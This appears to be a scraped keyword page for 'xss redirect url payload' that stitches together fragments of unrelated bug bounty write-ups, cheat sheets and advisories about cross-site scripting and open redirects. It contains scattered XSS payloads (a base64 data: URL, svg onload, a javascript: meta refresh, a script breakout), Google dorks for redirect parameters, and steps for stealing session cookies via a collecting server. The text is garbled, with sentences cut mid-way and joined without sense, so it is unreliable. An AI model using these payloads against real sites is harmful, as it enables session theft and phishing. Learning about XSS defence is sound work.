it,; steal user's form values; redirect to form a phishing attack So if XSS payload could create an iframe with URL of any page from a  5 Oct 2016 Note:- By default browsers encode referer URLs, so this only a redirection from the controlled page and append the XSS payloads in the URI,  10 Nov 2016 Vulnerability Type: Reflected & Persistent XSS, Host Header Injection, cross site scripting vulnerability as it allows users to enter URLs Post the Message To trigger the payload, a click on the link is required. Typically the XSS payload is delivered inside of a legitimate-looking URL pointing to a legitimate (but vulnerable) website. Redirect invalid requests. 9 Jul 2016 Cross-site scripting (XSS) is a code injection attack that allows an . This kind of vulnerability DOM Based XSS (or as it is called in some texts, “type-0 XSS”) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected” manner. This so-called phishing attack works by sending an unsuspicious link in an email to the users, injecting the link by XSS in the web application or putting the link into an external site. php?url=data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+Cg== Since I hadn't done the Google XSS game yet, I figured now was a good as any to work on my XSS. In this video you are going to learn what is XSS and get a practical view of it. Now you might be aware that Google doesn’t believe that open redirections are security issues! This makes url sanitization very difficult, because you just need to provide a youtube. An alert or redirect to Facebook is trivial – POSTing the current user’s cookies to a 3rd-party site, though, is not. XSS Payload Encoder. They cannot be used to close the script tag and reopen another one. 2 Apr 2019 inurl:url=https inurl:url=http inurl:u=https inurl:u=http inurl:redirect?https inurl: redirect?http inurl:redirect=https inurl:redirect=http inurl:link=http 8 May 2018 If XSS only occurs if the client submits the payload, this isn't really The RFC says that clients may automatically redirect upon receiving an  16 Dec 2018 I'm testing a web application and found that url contains "redirect=" the cookie using redirect_uri=javascript: payload to another server? P. A list of useful payloads and bypass for Web Application Security and Bypass using an alternate way to redirect; Bypass using an alternate way to execute . <IMG SRC="http://www. use URLs provided by users, for example as a continue URL to redirect after a  29 Aug 2012 As long as you can make someone click an URL with the necessary payload A persistent XSS payload is reflected back to you from the server (not just by . After the user would sign in to the application, an alert box popped up with value 1. So that was it, somebody had already reported the vulnerability. It's a sad state of affairs when you can find vulns such as XSS, CSRF and LFI on many major banks. write(window. Sent proofs of concept, etc. Stored XSS attacks are much more dangerous, as we demonstrated in previous posts. Its’ consistent appearance on the OWASP Top 10 and in news reports of cross-site scripting attacks has kept the security issue in the spotlight over the years. com/phwd/poc/blob/master/vid. That's it! Description: PLC Wireless Router’s are vulnerable to a Reflected Cross Site Scripting (XSS). Affected versions of this package are The request sent back to redirect URL was not having any kind of token for validating the request which made it vulnerable to CSRF, we can make a login using that URL. html Somehow I wanted to make it work, I tried url encoding the payload and other things but nothing worked. The flag was the name of a file in the current working folder. However, YouPorn had kindly decided to let the report open, so that we could find a working payload, and we already had one with the open redirect payload. com I am start finding subdomain using Sublist3r then i found https://subdomain. However, logging them into our account destroys their session, which destroys a lot of the value of the bug (it’s no longer possible to perform actions on their account). Our objective is to Post the Username and Password to Attacker Controlled Server. A. utils. The code then uses the Main App checks if the url of the poster image is a youtube. Below is an example Outlook for Android is the most popular e-mail application for organizations. Hello Bug Bounty Poc viewers, this is Ahsan Tahir, and this is my second write-up on bug bounty poc, so this time I’ve found Open URL Redirection & Xss In Dato Capital. , %20). You will want to update the languageCode value to: sympa version 6. Also, if a developer relies on ``is_safe_url()`` to provide safe redirect targets and puts such a URL into a link, they could suffer from an XSS attack. e. HTTP provides a special kind of responses, HTTP redirects, to perform this operation used for numerous goals: temporary redirection while site maintenance is ongoing, permanent redirection to keep external links working after a change of the site's 1. Several different payloads can be sent via XSS. So a Xss payload is also piece of java script code that we used to exploit a xss vulnerabili DOM Based XSS (or as it is called in some texts, “type-0 XSS”) is an XSS attack wherein the attack payload is executed as a result of modifying the DOM “environment” in the victim’s browser used by the original client side script, so that the client side code runs in an “unexpected Hi, this is a cheat sheet for Open redirect vulnerabilities. An XSS vulnerability arises when web applications take data from users and dynamically include it in web pages without first properly validating the data. Also referred to as Type-I XSS, Stored XSS involves the planting of the attack payloads into vulnerable servers. Encoding a specially crafted URL with a URL shortening service would be one way to deliver this payload to an unsuspecting logged in administrator. It is passed in the query, typically, in the URL. Fun with URL-Encoding and URL Parsing {//Redirect to the profile page with the payload window This part is the code that will be contained as the XSS payload I do not have time to investigate what caused the XSS payload to bypass Chrome's XSS auditor. slice(1)>#alert(1) <svg onload=innerHTML=location. Follow the redirect chain while it stays on www. Preventing stored XSS Addressing XSS is usually straight forward. For better success, an attacker could use a URL shortening service. I don’t know why, but during creating the report one idea came into my mind and I checked the reflection in Chrome browser. So if XSS payload could create an iframe with URL of any page from a vulnerable website (more on that later) and entice a user to click in the iframe instead of in our vulnerable page, the injected script would be still active, as his actions would reload the iframe content only (unless the website is frame busting, but there are ways around that). This parameter is not vulnerable to XSS, thus it is not a critical issue. The encoder supports Base64 Encoding, URL Encoding, HEX Encoding, HTML Characters Conversion, Character Code Conversion and IP to Dword, Hex and Octal conversions. This is because the application had mechanisms as such: Redirect parameter in URL: Script written as such to redirect to the specified path after login No redirect parameter in URL: Script written as such to redirect to path in cookie. I will update it every time I find a new payload, tip or writeup. Today tutorial will be more focus on enumeration, but if you explore by yourselves you will get more than just data enumeration :-). Some can redirect the user to a malicious page, some can steal cookies and send them to the attacker. It is a usually a reflected XSS attack that uses entry points other than visible user input in web pages or URLs. The final payload that works in Firefox, Chrome, Safari and bypasses all layers of That said, I verified that the full redirect was happening within a Chrome tab. Nice. Now all we needed Chrome has an "Intent to Deprecate and Remove the XSS Auditor"Firefox have not, and will not implement X-XSS-Protection; Edge have retired their XSS filter; This means that if you do not need to support legacy browsers such as Internet Explorer, it is recommended that you use Content-Security-Policy without allowing unsafe-inline scripts instead. Open redirect payloads. XSS attacks abuse the dynamic way websites interact with their clients, the browsers. These payloads are great for fuzzing for both reflective and persistent XSS. php?variables= malicious"> Redirect 302 /test. This page will only render if the current user is a developer of the current application. A meta tag such as <meta http-equiv="refresh" content="0;url=javascript: alert(1)"> will the browser will load the decoded payload into a null domain and While this can still be used to fire redirects, XHR, and other such  17 Feb 2017 Fraudsters are still exploiting eBay's persistent cross-site scripting this vulnerability to place malicious redirect code on high-value vehicle The obfuscated script is used to load a much larger JavaScript payload from an external location at . swf? 2 Nov 2018 Hi, this is a cheat sheet for Open redirect vulnerabilities. The PHP Redirect / Payload we remove the encoding that Apache automatically does on the URL during the redirect. Upon receiving the request, a 302 Redirect to the logout URL will be sent back to the client and following the redirection will result in receiving the injected payload. Often this can be exploited by distributing an (usually innocent looking) URL in some form or way for others to click on. A good way to convert URL redirection to XSS is to use a JavaScript resource such as javascript:alert(1); This payload was passed in the referrer parameter in URL. It was aound 3 : 40 am so I needed to go to bed coz don’t want to get late for school. Detlef Johnson on May 2, 2019 at 2:37 pm Host a collecting server to capture session cookies that will be delivered by your XSS payload; Send the URL with the XSS payload to a user via email (Reflected XSS) OR Store the XSS payload and wait for a user (or social engineer them to visit if you lack patience) to visit the vulnerable page. 前言 这是渗透测试方面的第一课,我们跳过了社工技术的讲解,在之前的课程讲解中已经为大家介绍了社工技术的基本方法,对于社工,我们要做的就是足够细心和耐心,尽可能的收集可利用的信息,说起来很简单,但真… Today i am going to show you How i found open redirect and rewarded 0$ LoL 😆😆 Let's start Target: https://redacted. 6. This is done via browsing/spidering, and unlinked content enumeration using various techniques. First, a stored XSS attack can be automated. Because modern browsers do not allow the execution of JavaScript via CSS, CSS Injection is often seen as very limited, with the main dangers being defacement by placing images into the vulnerable application, or performing very limited phishing attacks by placing additional content in places a user would not expect user-controlled data to show. The payload injected by the attacker is permenently stored in the web page and whoever visits the page will end up as a vicim of this attack. If you want to switch to the current site, you'll find the option here. Level 1 presented me with a basic search box, that appeared to take the query string and put it directly on the page. ly where they already are In this tutorial jackktutorials shows you how to get started with XSS Cross Site Scripting in BWAPP including Alert(), Webpage redirection and Cookie Stealing. And we have a filter bypass and XSS. Whenever HTML code is generated dynamically, and the user input is not sanitized and is reflected on the page an attacker could insert his own HTML code. From open redirect to full reflective XSS. redacted. Internet Explorer believe that the XSS payload is originating from the same domain, thus the XSS payload slips by unmolested by IE's XSS filter. 5. aspx has a parameter called redirect that gets the URL and directly  19 Jan 2018 A cross-site scripting attack occurs when the attacker tricks a legitimate and spaces to their respective HTML or URL encoded equivalents. Read the state parameter from the URL of the last request. It can be also kind of SID if it was added automatically to original URL, not removing Custom Payload. Another XSS was fixed in the shortcode preview system. Now, back in your simplify panel, go to "Account Settings", and while intercepting the request, click "Save". user supplied input in a cookie is storing a redirect URL: Sometimes you  2 Oct 2019 URL redirection, also known as URL forwarding, is a technique to give a page, a form or a whole Web application, more than one URL address. By injecting a malicious onmouseover event handler and a style attribute to make the link an invisible overlay over the entire page, the XSS payload triggers as soon as a victim visits a page that contains such an XSS payload and moves his mouse. Payloads to detect open redirection: . XSS of the Third Kind the malicious payload is part of the username, in a URL that looks like redirect the browser to Regular DOM XSS: Here is an example of a non-self DOM based XSS. DOM-Based XSS : It is a Cross-Site-Scripting attack wherein the attack payload is executed as a result of modifying DOM environment in the victim’s browser used by itself. An attacker can still force you to load a URL with a payload in it. User’s browser does not understand that the script should not be trusted, and execute the script. com, I discovered a stored XSS vulnerability in SyntaxHighlighter Evolved. A final POC was sent to the program with the URL as: It can be easily XSSed and there are many ways. Transfer the state parameter to a server-side script. XSS Payload: XSS payloads in which we locate the vulnerabilities lie within the execution of application. Oh boy! </script> blocking the <script> here so again i get my ass back into Edit Setting then i filled Name with xss payload Payload: </script><script>alert(document. The idea of the challenge was to bypass the WAF filters and inject an XSS payload that execute alert(1337) . XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user I usually used Burp suite for scanning, traffic interception & payload injection beside the mantra browser for all XSS POC’s , The flaws include XSS, SQL Injection & URL Redirection, I used manual scanning technique based on Burp suite for XSS & URL redirect, for advanced SQL I used Sqlmap that is a really evil with cool tamper script for To understand the Xss Payoad, first You have to understand the word Payload. This meant that by modifying redirect_strategy to a dom-xss payload, it was possible to execute client-side code in the context of a Tinder domain in any browser: An attacker can then insert a malicious string that will be used within the web page and treated as source code by the victim’s browser. It's easy. Cross-site scripting in an HTTP headers attack is an XSS attack which uses HTTP header fields as entry points for injecting the payload and depends on the improper return of user controlled HTTP This type of XSS is "reflected" because it involves crafting a request containing embedded JavaScript which is reflected back to any user who makes the request. 4 CVE-2016-6186 jquery is a JavaScript library. This meant that by modifying redirect_strategy to a dom-xss payload, it was possible to execute client-side code in the context of a Tinder domain in any browser: Stealing user session with open-redirect bug in Rails since //google. tld after the signup, we have an Open Redirect vulnerability. So what is a DOM XSS / Client XSS? Throughout the history of Cross Site Scripting vulnerabilities, DOM or client side XSS has held a special place in the hearts of pentesters and developers alike. , an unsubscribe link in an email message) that references the page on the trusted server What Is an Open Redirection Vulnerability and How to Prevent it? server uses a user-submitted link to redirect the user to a given website or page. flv?raw=true video-js. xss redirect url payload

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